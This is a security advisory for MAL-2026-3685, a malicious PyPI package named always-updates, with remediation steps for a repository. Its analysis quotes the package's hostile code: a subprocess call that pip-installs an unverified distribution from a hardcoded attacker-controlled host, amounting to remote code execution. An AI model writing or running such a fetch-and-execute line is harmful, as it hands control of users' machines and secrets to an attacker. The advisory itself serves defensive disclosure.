MAL-2026-3685 Malicious code in always-updates (PyPI)
Malicious package
Published
MAL-2026-3685 is a malicious package: always-updates (PyPI). Every version was published to cause harm.
Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.
Reference: https://insights.sbomify.com/MAL-2026-3685/ (Markdown: https://insights.sbomify.com/MAL-2026-3685/index.md)
- Package
- always-updates
- Registry
- PyPI
What is MAL-2026-3685?
MAL-2026-3685 is a malicious package in always-updates, published on 12 May 2026.
Official description
The package's sole advertised CLI (
aupd, registered as a console_scripts entry point to always_updates.main:main) executes subprocess.check_call([sys.executable, '-m', 'pip', 'install', 'https://aupd.19700101t000000z.com']) (always_updates/main.py lines 7 and 16). Running the documented command causes pip to download and install an arbitrary Python distribution from a hardcoded author-controlled endpoint: no version pin, no hash/signature verification, destination is not PyPI nor a documented publisher CDN. Because pip install <url> executes the downloaded package's setup.py, this is arbitrary remote code execution against the installer's machine by design, with attacker-mutable content served from the author's host. Corroborating soft signals: the endpoint hostname aupd.19700101t000000z.com is an anonymously-registered epoch-zero domain, the author email ([email protected]) and referenced GitHub org look theatrical/placeholder — matching the generic-placeholder-metadata-plus-network shape. The harm fires when the user runs the CLI, not at pip install time, but the package's entire advertised purpose is to fetch-and-execute whatever the author-controlled server returns; every invocation is a new, unverified remote payload.What should I do about MAL-2026-3685?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.